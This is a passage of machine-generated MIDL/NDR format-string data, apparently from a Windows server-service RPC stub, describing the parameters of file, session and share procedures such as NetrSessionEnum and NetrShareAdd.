Stack size/offset = 0 */\n/* 328 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 330 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 332 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 334 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x8,\t\t/* 8 */\n/* 336 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 338 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 340 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 342 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 344 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 346 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 348 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 350 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter BasePath */\n\n/* 352 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 354 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 356 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter UserName */\n\n/* 358 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 360 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 362 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter InfoStruct */\n\n/* 364 */\tNdrFcShort( 0x11b ),\t/* Flags:  must size, must free, in, out, simple ref, */\n/* 366 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 368 */\tNdrFcShort( 0x178 ),\t/* Type Offset=376 */\n\n\t/* Parameter PreferedMaximumLength */\n\n/* 370 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 372 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 374 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter TotalEntries */\n\n/* 376 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 378 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 380 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter ResumeHandle */\n\n/* 382 */\tNdrFcShort( 0x1a ),\t/* Flags:  must free, in, out, */\n/* 384 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 386 */\tNdrFcShort( 0xe0 ),\t/* Type Offset=224 */\n\n\t/* Return value */\n\n/* 388 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 390 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 392 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrFileGetInfo */\n\n/* 394 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 396 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 400 */\tNdrFcShort( 0xa ),\t/* 10 */\n/* 402 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 404 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 406 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 408 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 410 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 412 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 414 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 416 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 418 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 420 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 422 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 424 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 426 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 428 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 430 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter FileId */\n\n/* 432 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 434 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 436 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter Level */\n\n/* 438 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 440 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 442 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter InfoStruct */\n\n/* 444 */\tNdrFcShort( 0x2113 ),\t/* Flags:  must size, must free, out, simple ref, srv alloc size=8 */\n/* 446 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 448 */\tNdrFcShort( 0x18c ),\t/* Type Offset=396 */\n\n\t/* Return value */\n\n/* 450 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 452 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 454 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrFileClose */\n\n/* 456 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 458 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 462 */\tNdrFcShort( 0xb ),\t/* 11 */\n/* 464 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 466 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 468 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 470 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 472 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 474 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 476 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 478 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 480 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 482 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 484 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 486 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 488 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 490 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 492 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter FileId */\n\n/* 494 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 496 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 498 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 500 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 502 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 504 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrSessionEnum */\n\n/* 506 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 508 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 512 */\tNdrFcShort( 0xc ),\t/* 12 */\n/* 514 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 516 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 518 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 520 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 522 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 524 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 526 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x8,\t\t/* 8 */\n/* 528 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 530 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 532 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 534 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 536 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 538 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 540 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 542 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter ClientName */\n\n/* 544 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 546 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 548 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter UserName */\n\n/* 550 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 552 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 554 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter InfoStruct */\n\n/* 556 */\tNdrFcShort( 0x11b ),\t/* Flags:  must size, must free, in, out, simple ref, */\n/* 558 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 560 */\tNdrFcShort( 0x3a6 ),\t/* Type Offset=934 */\n\n\t/* Parameter PreferedMaximumLength */\n\n/* 562 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 564 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 566 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter TotalEntries */\n\n/* 568 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 570 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 572 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter ResumeHandle */\n\n/* 574 */\tNdrFcShort( 0x1a ),\t/* Flags:  must free, in, out, */\n/* 576 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 578 */\tNdrFcShort( 0xe0 ),\t/* Type Offset=224 */\n\n\t/* Return value */\n\n/* 580 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 582 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 584 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrSessionDel */\n\n/* 586 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 588 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 592 */\tNdrFcShort( 0xd ),\t/* 13 */\n/* 594 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 596 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 598 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 600 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 602 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 604 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 606 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 608 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 610 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 612 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 614 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 616 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 618 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 620 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 622 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter ClientName */\n\n/* 624 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 626 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 628 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter UserName */\n\n/* 630 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 632 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 634 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Return value */\n\n/* 636 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 638 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 640 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrShareAdd */\n\n/* 642 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 644 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 648 */\tNdrFcShort( 0xe ),\t/* 14 */\n/* 650 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 652 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 654 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 656 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 658 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 660 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 662 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 664 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 666 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 668 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 670 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 672 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 674 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 676 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 678 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Level */\n\n/* 680 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 682 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 684 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter InfoStruct */\n\n/* 686 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 688 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 690 */\tNdrFcShort( 0x3ba ),\t/* Type Offset=954 */\n\n\t/* Parameter ParmErr */\n\n/* 692 */\tNdrFcShort( 0x1a ),\t/* Flags:  must free, in, out, */\n/* 694 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 696 */\tNdrFcShort( 0xe0 ),\t/* Type Offset=224 */\n\n\t/* Return value */\n\n/* 698 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 700 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 702 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrShareEnum */\n\n/* 704 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 706 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 710 */\tNdrFcShort( 0xf ),\t/* 15 */\n/* 712 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 714 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 716 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 718 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 720 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 722 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 724 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 726 */\t0xa,\t\t/* 10 */\n\t\t\t0x47,\t\t/* Ext Flags:  new corr desc, clt corr check, srv corr check, has range on conformance */\n/* 728 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 730 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 732 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 734 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 736 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 738 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 740 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter InfoStruct */\n\n/* 742 */\tNdrFcShort( 0x11b ),\t/* Flags:  must size, must free, in, out, simple ref, */\n/* 744 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 746 */\tNdrFcShort( 0x700 ),\t/* Type Offset=1792 */\n\n\t/* Parameter PreferedMaximumLength */\n\n/* 748 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 750 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 752 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter TotalEntries */\n\n/* 754 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 756 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 758 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter ResumeHandle */\n\n/* 760 */\tNdrFcShort( 0x1a ),\t/* Flags:  must free, in, out, */\n/* 762 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 764 */\tNdrFcShort( 0xe0 ),\t/* Type Offset=224 */\n\n\t/* Return value */\n\n/* 766 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 768 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 770 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrShareGetInfo */\n\n/* 772 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 774 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 778 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 780 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 782 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 784 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 786 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 788 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 790 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 792 */\t0x47,\t\t/* Oi2 Flags:  srv must size, clt must size, has return, has ext, */\n\t\t\t0x5,\t\t/* 5 */\n/* 794 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 796 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 798 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 800 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 802 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 804 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 806 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 808 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter NetName */\n\n/* 810 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 812 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 814 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Parameter Level */\n\n/* 816 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 818 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 820 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter InfoStruct */\n\n/* 822 */\tNdrFcShort( 0x2113 ),\t/* Flags:  must size, must free, out, simple ref, srv alloc size=8 */\n/* 824 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 826 */\tNdrFcShort( 0x718 ),\t/* Type Offset=1816 */\n\n\t/* Return value */\n\n/* 828 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 830 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 832 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrShareSetInfo */\n\n/* 834 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 836 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 840 */\tNdrFcShort( 0x11 ),\t/* 17 */\n/* 842 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 844 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 846 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 848 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 850 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 852 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 854 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 856 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 858 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 860 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 862 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 864 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 866 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 868 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 870 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter NetName */\n\n/* 872 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 874 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 876 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Parameter Level */\n\n/* 878 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 880 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 882 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter ShareInfo */\n\n/* 884 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 886 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 888 */\tNdrFcShort( 0x730 ),\t/* Type Offset=1840 */\n\n\t/* Parameter ParmErr */\n\n/* 890 */\tNdrFcShort( 0x1a ),\t/* Flags:  must free, in, out, */\n/* 892 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 894 */\tNdrFcShort( 0xe0 ),\t/* Type Offset=224 */\n\n\t/* Return value */\n\n/* 896 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 898 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 900 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrShareDel */\n\n/* 902 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 904 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 908 */\tNdrFcShort( 0x12 ),\t/* 18 */\n/* 910 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 912 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 914 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 916 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 918 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 920 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 922 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 924 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance */\n/* 926 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 928 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 930 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 932 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter ServerName */\n\n/* 934 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 936 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 938 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter NetName */\n\n/* 940 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 942 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 944 */\tNdrFcShort( 0x712 ),\t/* Type Offset=1810 */\n\n\t/* Parameter Reserved */\n\n/* 946 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 948 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 950 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 952 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 954 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 956 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure NetrShareDelSticky */\n\n/* 958 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 960 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 964 */\tNdrFcShort( 0x13 ),\t/* 19 */\n/* 966 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 968 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 970 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 972 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 974 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 976 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 978 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x4,\t\t/* 4 */\n/* 980 */\t0xa,\t\t/* 10 */\n\t\t\t0x41,\t\t/* Ext Flags:  new corr desc, has range on conformance 